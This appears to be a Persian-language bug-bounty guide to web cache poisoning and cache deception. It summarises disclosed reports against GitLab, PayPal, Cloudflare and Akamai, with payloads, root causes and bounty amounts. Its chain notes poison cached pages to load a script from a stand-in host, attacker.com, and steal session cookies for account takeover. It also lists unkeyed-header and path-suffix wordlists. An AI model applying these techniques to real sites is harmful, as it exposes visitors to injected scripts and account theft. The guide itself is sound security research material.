  • ‏‏Payload: GET /<redirect-path> با X-Forwarded-Port: 1 — redirect مربوط به ۳۰۱ کش‌شده کاربران قانونی را به پورت ۱ می‌فرستاد و دسترسی را می‌شکست
  • ‏علت ریشه‌ای: هدرهای X-Forwarded-* مورداعتماد در تولید redirect مربوط به ۳۰۱؛ کش Location بد را ذخیره کرد
  • ‏سال: ۲۰۱۸ — ۲٬۵۰۰ دلار ‏(کیس بنیادی H1-روی-H1)
  1. ‏‏GitLab — DoS مربوط به مسمومیت کش از طریق X-HTTP-Method-Override (H1 #1160407)
  • ‏زیرکلاس: method-cloaking / نشت کلید-کش GCS ‏(پاسخ HEAD زیر کلید GET ذخیره شد)
  • ‏‏Payload: GET /assets/webpack/*.js با X-HTTP-Method-Override: HEAD — بک‌اند GCS مقدار override را honour کرد و بدنه‌ی خالی برگرداند؛ CDN آن را به‌عنوان پاسخ canonical GET کش کرد
  • ‏علت ریشه‌ای: کش CDN method-aware نبود؛ بدنه‌ی HEAD ‏(خالی) ورودی GET را برای assetهای استاتیک کش‌شده بازنویسی کرد
  • ‏سال: ۲۰۲۱ — ۲٬۵۰۰ دلار ‏(DoS معمولاً OOS، برای نوآوری پرداخت شد)
  1. ‏‏PayPal — Web Cache Deception ‏(Omer Gil اصلی) (Blog)
  • ‏زیرکلاس: WCD کلاسیک از طریق اضافه‌کردن مسیر .css/.jpg/و غیره روی روت‌های authenticated
  • ‏‏Payload: GET https://www.paypal.com/myaccount/home/foo.css — origin صفحه‌ی اکانت authenticated کامل را سرو کرد؛ CDN آن را به‌عنوان «.css استاتیک» ~۵ ساعت کش کرد
  • ‏علت ریشه‌ای: origin پسوندهای مسیر ناشناخته را به handler داینامیک والد روت کرد؛ CDN صرفاً بر اساس پسوند استاتیک-نما کش کرد
  • ‏سال: ۲۰۱۷ — ۳٬۰۰۰ دلار ‏(رتبه‌ی #۲ در Top-10 Web Hacking Techniques مربوط به PortSwigger سال ۲۰۱۷)
  1. ‏‏Cloudflare PBB — دورزدن Cache Deception Armor از طریق .avif (H1 #1391635)
  • ‏زیرکلاس: دورزدن allowlist اختصاصی-CDN ‏(فیچر محافظت WCD مربوط به Cloudflare) با پسوند ایمیج مبهم
  • ‏‏Payload: GET https://<protected-origin>/account/me.avif — لیست پسوند Cache Deception Armor مربوط به Cloudflare مقدار .avif را نداشت، پس پاسخ HTML مربوط به authenticated کش شد
  • ‏علت ریشه‌ای: Cache Deception Armor از allowlist پسوند استاتیک و ناقص استفاده می‌کرد که انواع MIME مدرن ایمیج را پوشش نمی‌داد
  • ‏سال: ۲۰۲۲ — باونتی Cloudflare PBB ‏(مبلغ افشانشده)
  1. ‏‏Akamai ‏(PayPal/Airbnb/Goldman Sachs) — قاچاق هدر hop-by-hop ← مسمومیت edge سمت-سرور (Tediosi & Mariani writeup)
  • ‏زیرکلاس: قاچاق درخواست اختصاصی-CDN که پاسخ‌های مهاجم را در کش edge مربوط به Akamai برای IPهای نزدیک می‌نشاند
  • ‏‏Payload: Connection: Content-Length + درخواست دستکاری‌شده — proxy اول Akamai مقدار Content-Length را به‌عنوان hop-by-hop strip کرد، proxy دوم بدنه را به‌عنوان درخواست دومی تلقی کرد که پاسخش در edge کش شد
  • ‏علت ریشه‌ای: مدیریت ناسازگار هدرهای hop-by-hop در tierهای proxy مربوط به Akamai باعث desync شد؛ پاسخ‌های قاچاق‌شده سمت-سرور جهانی کش شدند
  • ‏سال: ۲۰۲۲ — بیش از ۵۰هزار دلار مجموع در برنامه‌های متأثر ‏(PayPal $25,200 + Airbnb $14,875 + Goldman Sachs $100)، نامزد Top-10 Web Hacking Techniques مربوط به PortSwigger ۲۰۲۲
  1. ‏‏James Kettle ‏(PortSwigger) — «Gotta cache 'em all»: نرمال‌سازی مسیر و WCD علیه Cloudflare/Fastly/GCP (PortSwigger Research)
  • ‏زیرکلاس: ناهماهنگی‌های نرمال‌سازی مسیر کلید-کش و Web Cache Deception در CDNهای بزرگ ‏(Cloudflare، Fastly، GCP/Google Cloud) — پژوهش ۲۰۲۴ نام‌برده در توضیح این اسکیل
  • ‏‏Payload: اختلافات delimiter/normalization مربوط به origin-در-برابر-cache ‏(مثلاً سگمنت‌های مسیر encodeشده و ترفندهای static-suffix) که باعث می‌شوند کش پاسخ داینامیک/authenticated را زیر کلید استاتیک-نما ذخیره کند
  • ‏علت ریشه‌ای: کش و origin درباره‌ی نحوه‌ی نرمال/parse‌کردن مسیر URL اختلاف دارند، پس کلید کش با منبعی که origin واقعاً سرو کرد تطابق ندارد
  • ‏سال: ۲۰۲۴ — افشای هماهنگ CDN-vendor؛ پژوهش متدولوژی ‏(بدون باونتی تکی)، ورودی Top-10 Web Hacking Techniques مربوط به PortSwigger ۲۰۲۴
اسکیل‌های مرتبط:
۱۱

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏‏hunt-xss — مسمومیت کش ضریبی است که XSS بازتابی ‏(شدت-پایین self-inflicted) را به XSS مربوط به stored در هر بازدیدکننده‌ی CDN-edge تبدیل می‌کند. primitive زنجیره: X-Forwarded-Host: attacker.com مقدار script src مربوط به کش‌شده را مسموم می‌کند ← پاسخ کش‌شده حالا <script src="//attacker.com/x.js"> دارد ← هر بازدیدکننده‌ی آن edge مربوط به CDN مقدار JS مهاجم را اجرا می‌کند، ماندگار برای کل max-age مربوط به Cache-Control.
  • ‏‏hunt-http-smuggling — قاچاق نرمال‌سازی کلید-کش فرانت‌اند و strip مربوط به WAF هدرهای poison را دور می‌زند و مستقیم به سرور کش می‌رسد. primitive زنجیره: قاچاق CL.TE مقدار X-Forwarded-Host: attacker.com را به بک‌اند کش از WAFی که آن را در edge strip کرده می‌رساند ← ورودی مسموم زیر URL عادی قربانی ذخیره می‌شود ← مسمومیت de-sync جایی که درخواست قاچاق‌شده پاسخ کش‌شده برای قربانی بعدی می‌شود.
  • ‏‏hunt-auth-bypass — Web Cache Deception صفحات authenticated را به پاسخ‌های عمومی-کش‌شده تبدیل می‌کند و محتوای session-bound را به مهاجمان ناشناس نشت می‌دهد. primitive زنجیره: /account/profile.css به‌عنوان HTML مربوط به authenticated سرو شد، به‌عنوان asset استاتیک کش شد ← مهاجم همان URL را بدون auth fetch می‌کند و ایمیل/توکن‌های قربانی را می‌خواند ← کوکی‌های session در بدنه ← ATO کامل.
  • ‏‏security-arsenal — به wordlist مربوط به unkeyed-header دست بزن ‏(X-Forwarded-Host، X-Host، X-Forwarded-Server، X-HTTP-Host-Override، Forwarded، X-Original-URL) و لیست پسوند-مسیر WCD ‏(.css، .js، .jpg، .ico، ;.css، %2e%2ecss) قبل از fuzz دستی.
  • ‏‏triage-validation — گیت Pre-Severity را قبل از ادعای Critical اجرا کن: پاسخ مسموم باید از IP/incognito جدا بدون هدرهای poison تو بازتولید شود. اگر فقط مرورگر خودت اثر را می‌بیند، self-cache است و N/A.
مراحل استخراج‌شده
  1. ۱‏‏`hunt-http-smuggling` — قاچاق نرمال‌سازی کلید-کش فرانت‌اند و strip مربوط به WAF هدرهای poison را دور می‌زند و مستقیم به سرور کش می‌رسد. primitive زنجیره: قاچاق CL.TE مقدار `X-Forwarded-Host: attacker.com` را به بک‌اند کش از WAFی که آن را در edge strip کرده می‌رساند ← ورودی مسموم زیر URL عادی قربانی ذخیره می‌شود ← مسمومیت de-sync جایی که درخواست قاچاق‌شده پاسخ کش‌شده برای قربانی بعدی می‌شود.
  2. ۲‏‏`hunt-auth-bypass` — Web Cache Deception صفحات authenticated را به پاسخ‌های عمومی-کش‌شده تبدیل می‌کند و محتوای session-bound را به مهاجمان ناشناس نشت می‌دهد. primitive زنجیره: `/account/profile.css` به‌عنوان HTML مربوط به authenticated سرو شد، به‌عنوان asset استاتیک کش شد ← مهاجم همان URL را بدون auth fetch می‌کند و ایمیل/توکن‌های قربانی را می‌خواند ← کوکی‌های session در بدنه ← ATO کامل.
  3. ۳‏‏`security-arsenal` — به wordlist مربوط به unkeyed-header دست بزن ‏(`X-Forwarded-Host`، `X-Host`، `X-Forwarded-Server`، `X-HTTP-Host-Override`، `Forwarded`، `X-Original-URL`) و لیست پسوند-مسیر WCD ‏(`.css`، `.js`، `.jpg`، `.ico`، `;.css`، `%2e%2ecss`) قبل از fuzz دستی.
  4. ۴‏‏`triage-validation` — گیت Pre-Severity را قبل از ادعای Critical اجرا کن: پاسخ مسموم باید از IP/incognito جدا بدون هدرهای poison تو بازتولید شود. اگر فقط مرورگر خودت اثر را می‌بیند، self-cache است و N/A.